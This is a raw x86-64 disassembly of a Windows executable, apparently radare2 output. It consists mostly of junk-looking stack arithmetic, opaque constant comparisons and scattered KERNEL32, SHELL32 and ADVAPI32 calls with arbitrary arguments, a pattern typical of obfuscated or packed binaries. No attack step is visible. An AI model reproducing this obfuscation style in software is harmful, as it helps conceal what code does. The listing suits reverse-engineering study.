mov eax, dword [rsp + 0x2544]
mov ecx, dword [rsp + 0x23cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x24d4], eax
lea rdx, [rsp + 0x13260]
mov rcx, qword [rsp + 0x4bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x23ec], eax
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
add eax, ecx
mov byte [rsp + 0x42], al
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [rsp + 0x5e8]
sub eax, ecx
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x4cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4cf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5e8], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
jmp 0x140009af5
mov rax, qword [rsp + 0x4ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x4a80]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2514], eax
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x2514], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x242c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x4cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
or eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x4cf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
shl eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
xor eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5e0], ax
lea rdx, [rsp + 0x4ca0]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x24cc], eax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x44]
and eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4bb8]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x4d00]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c80], rax
mov rax, qword [rsp + 0x4a30]
mov rcx, qword [rsp + 0x4a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x41], al
movzx eax, word [rsp + 0x5e8]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
and eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0x5e0], ax
lea rcx, [rsp + 0x122d0]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x604]
movsx ecx, word [0x140108008]
xor eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b10]
mov qword [rsp + 0x4d48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d48]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4d08], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2418], eax
mov eax, dword [rsp + 0x24c8]
movzx ecx, al
mov eax, dword [rsp + 0x2518]
sar eax, cl
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x5dc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f0], ax
mov rax, qword [rsp + 0x49b8]
mov rcx, qword [rsp + 0x4b50]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4980]
mov rcx, qword [rsp + 0x4bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x24d4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9281
mov rcx, qword [rsp + 0x4bf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x23f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx ecx, word [rsp + 0x5d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f8], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x600]
sub eax, ecx
mov word [0x140108008], ax
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
sub eax, ecx
mov byte [rsp + 0x42], al
movzx eax, word [rsp + 0x5fc]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
movsx eax, byte [rsp + 0x45]
movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov eax, dword [rsp + 0x2570]
add eax, 0xc7
mov dword [rsp + 0x2570], eax
mov rax, qword [rsp + 0x4d30]
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b50], rax
mov rax, qword [rsp + 0x4a80]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x4bb8]
mov rcx, qword [rsp + 0x4b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movsx eax, word [rsp + 0x600]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4cf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e0]
xor eax, ecx
mov word [0x140108f90], ax
cmp dword [rsp + 0x2570], 0xcd75
jne 0x140009d63
movsx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x43]
shl eax, cl
movzx ecx, byte [rsp + 0x42]
cmp eax, ecx
je 0x14000a2d0
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4c80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x49b8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x1400da70b
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4ba8]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x121c8], rax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x4b50]
movzx r8d, byte [rsp + 0x43]
movzx edx, byte [rsp + 0x44]
mov rax, qword [rsp + 0x4a80]
mov ecx, dword [rax]
call fcn.1400db720
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
shl eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov dword [rsp + 0x4934], eax
cmp dword [rsp + 0x4934], 0x4d7
je 0x1400da79d
cmp dword [rsp + 0x4934], 0x646
je 0x1400da7ea
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x45], al
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x45], al
jmp 0x1400da7fb
mov eax, dword [rsp + 0x256c]
mov ecx, dword [rsp + 0x2518]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b20]
mov qword [rsp + 0x121d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x121d0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4c80], rax
movzx eax, word [0x140108f90]
movzx ecx, word [rsp + 0x5fc]
cdq
idiv ecx
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x5e0]
or ecx, edx
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x242c], eax
movsx eax, word [rsp + 0x604]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
lea r8, [rsp + 0x4cd8]
lea rdx, [rsp + 0x12220]
mov ecx, 0xff
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x2594], eax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4c90]
add rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov rax, qword [rsp + 0x4a80]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rax]
call fcn.1400dc260
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x600], ax
movzx eax, word [rsp + 0x5e8]
mov dword [rsp + 0x4938], eax
cmp dword [rsp + 0x4938], 0xdef
je 0x1400da96c
jmp 0x1400da98a
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4c90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
movzx ecx, word [rax]
call fcn.1400dd490
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
and eax, ecx
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4c08]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x1400dab51
lea rdx, [rsp + 0x4ac0]
lea rcx, [rsp + 0x1bb50]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x4c50], rax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x5ec]
movsx edx, word [rsp + 0x5c8]
sub ecx, edx
cmp eax, ecx
jge 0x1400daa94
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [0x140108f98]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x5c8]
mov rax, qword [rsp + 0x4a58]
movzx ecx, word [rax]
call fcn.1400dc650
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov dword [rsp + 0x493c], eax
cmp dword [rsp + 0x493c], 0xff
je 0x1400daac5
cmp dword [rsp + 0x493c], 0x6fc
je 0x1400dab31
jmp 0x1400dab51
mov eax, dword [rsp + 0x2410]
mov ecx, dword [rsp + 0x2490]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23c0], eax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140108f90], ax
jmp 0x1400dab51
lea r9, [rsp + 0x12220]
lea r8, [rsp + 0x2424]
mov edx, 0x35
mov ecx, 0x46
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x1400dac98
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5c8]
and eax, ecx
movsx ecx, word [rsp + 0x5ec]
movsx edx, word [rsp + 0x600]
sub ecx, edx
cmp eax, ecx
jne 0x1400dac7a
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x4940], al
cmp byte [rsp + 0x4940], 0xa2
je 0x1400dab9d
jmp 0x1400dac63
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5fc], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c4]
xor eax, ecx
mov word [rsp + 0x600], ax
mov eax, dword [rsp + 0x243c]
mov rcx, qword [rsp + 0x4b18]
mov qword [rsp + 0x121d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x121d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov eax, dword [rsp + 0x243c]
mov dword [rsp + 0x20], eax
movzx r9d, word [0x140108f90]
mov r8, qword [rsp + 0x4978]
mov rax, qword [rsp + 0x4b88]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rax]
call fcn.1400dc430
jmp 0x1400dac78
lea rcx, [rsp + 0x14760]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x256c], eax
jmp 0x1400dac98
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4c90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov rdx, qword [rsp + 0x4b50]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jle 0x1400dace4
mov edx, dword [rsp + 0x24c8]
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rax]
call fcn.1400dc260
jmp 0x1400dad4f
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
add eax, ecx
movzx ecx, byte [rsp + 0x42]
cmp eax, ecx
jl 0x1400dad4f
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x600]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5cc], ax
lea rcx, [rsp + 0x147e0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x4b98], rax
lea r8, [rsp + 0x147e0]
mov rdx, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c78]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x121e0], rax
mov rax, qword [0x140108f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
lea rcx, [rsp + 0x14820]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x121e8], rax
xor r8d, r8d
lea rdx, [rsp + 0x12210]
lea rcx, [rsp + 0x4ac0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x121f0], rax
jmp 0x1400dae15
mov rax, qword [rsp + 0x4ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b10]
mov qword [rsp + 0x121f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x121f8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4a90], rax
mov ecx, 0xce
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x4944], eax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e0]
and eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov eax, dword [rsp + 0x23cc]
mov dword [rsp + 0x4948], eax
cmp dword [rsp + 0x4948], 0x6e46
je 0x1400dae55
jmp 0x1400daf26
mov rax, qword [rsp + 0x4ab8]
mov rcx, qword [rsp + 0x4b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [section..data], rax
movzx eax, byte [rsp + 0x42]
add eax, 0x22
movzx ecx, byte [rsp + 0x43]
cmp eax, ecx
jl 0x1400daf24
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x5cc]
movzx edx, word [0x140108f90]
sub ecx, edx
cmp eax, ecx
jne 0x1400daf24
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0x5e8], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov edx, 0xa3
mov rcx, qword [rsp + 0x4af0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x2420], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x2490]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x24c8], eax
jmp 0x1400daf4a
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
jmp 0x1400dafe3
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4970]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
movzx eax, word [rsp + 0x5e8]
mov dword [rsp + 0x494c], eax
cmp dword [rsp + 0x494c], 0x18d
je 0x1400daf8b
jmp 0x1400daf8d
jmp 0x1400dafaa
mov eax, dword [rsp + 0x24d4]
movzx ecx, al
mov eax, dword [rsp + 0x243c]
shr eax, cl
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
movzx r8d, byte [rsp + 0x41]
mov rax, qword [rsp + 0x4b18]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x4978]
call fcn.1400dcc30
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
mov edx, dword [rsp + 0x24a4]
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rax]
call fcn.1400dc260
jmp 0x1400db02e
mov edx, dword [rsp + 0x2490]
mov ecx, dword [rsp + 0x2410]
call fcn.1400dc260
mov eax, dword [rsp + 0x23c0]
mov ecx, dword [rsp + 0x24a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2410], eax
mov eax, dword [rsp + 0x243c]
mov ecx, dword [rsp + 0x2454]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49b8]
mov qword [rsp + 0x12200], rax
movabs rax, 0x726be5e96acaf2
cmp qword [rsp + 0x12200], rax
je 0x1400db0a4
movabs rax, 0x7abf333bfc2992
cmp qword [rsp + 0x12200], rax
je 0x1400db17c
jmp 0x1400db199
mov eax, dword [rsp + 0x24a4]
mov ecx, dword [rsp + 0x2490]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2410]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x1400db17a
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x5e8]
movzx edx, word [rsp + 0x5cc]
add ecx, edx
cmp eax, ecx
jle 0x1400db17a
lea rcx, [rsp + 0x14b70]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x2480], eax
mov rax, qword [rsp + 0x4a80]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
shl eax, cl
mov word [0x140108f90], ax
movzx eax, word [rsp + 0x5ec]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4b20]
mov r9, qword [rax]
mov r8b, 0x7c
mov dl, reloc.SHELL32.dll_ILCloneFirst
mov ecx, dword [rsp + 0x24a4]
call fcn.1400db720
jmp 0x1400db199
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5cc]
sar eax, cl
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a80]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2490], eax
lea rcx, [rsp + 0x147e0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x4b98], rax
jmp 0x1400db294
movzx eax, word [rsp + 0x5e8]
mov dword [rsp + 0x4950], eax
cmp dword [rsp + 0x4950], 0x30
je 0x1400db21d
cmp dword [rsp + 0x4950], 0xbd2
je 0x1400db277
jmp 0x1400db294
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a80]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2410], eax
mov edx, 0xe0
mov rcx, qword [rsp + 0x4b28]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x2490], eax
jmp 0x1400db294
movzx r8d, word [0x140108f90]
movzx edx, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x5e0]
call fcn.1400dc650
mov eax, dword [rsp + 0x242c]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x243c], eax
jmp 0x1400db322
movsx eax, word [0x140108008]
movsx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov word [rsp + 0x5ec], ax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x49e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4a58]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x4a90]
mov rax, qword [rsp + 0x4a58]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x2454]
call fcn.1400dc430
mov r8d, 0x33
lea rdx, [rsp + 0x4a70]
lea rcx, [rsp + 0x14860]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x2528], eax
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [rsp + 0x5e0]
add eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4a58]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x4a88]
mov r8, qword [rax]
movzx edx, word [rsp + 0x5cc]
mov ecx, dword [rsp + 0x243c]
call fcn.1400dc430
lea r9, [rsp + 0x12220]
lea r8, [rsp + 0x49b8]
lea rdx, [rsp + 0x12230]
lea rcx, [rsp + 0x5c4]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x2424], eax
mov dword [rsp + 0x20], 0x3f
lea r9, [rsp + 0x4978]
mov r8d, ILCreateFromPathW
lea rdx, [rsp + 0x49c8]
lea rcx, [rsp + 0x49e0]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x2484], eax
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [0x140108f90]
shl eax, cl
mov word [rsp + 0x5e8], ax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x40]
sar eax, cl
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
or eax, ecx
mov byte [rsp + 0x40], al
mov r9d, 0x28
mov r8, qword [rsp + 0x4a28]
lea rdx, [rsp + 0x4a48]
mov rcx, qword [rsp + 0x4b90]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x2440], eax
mov rax, qword [rsp + 0x4970]
mov qword [rsp + 0x12208], rax
movabs rax, 0x731ebe0cf284d5
cmp qword [rsp + 0x12208], rax
je 0x1400db502
movabs rax, 0x73e701242a2788
cmp qword [rsp + 0x12208], rax
je 0x1400db4a8
jmp 0x1400db534
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2410]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23c0], eax
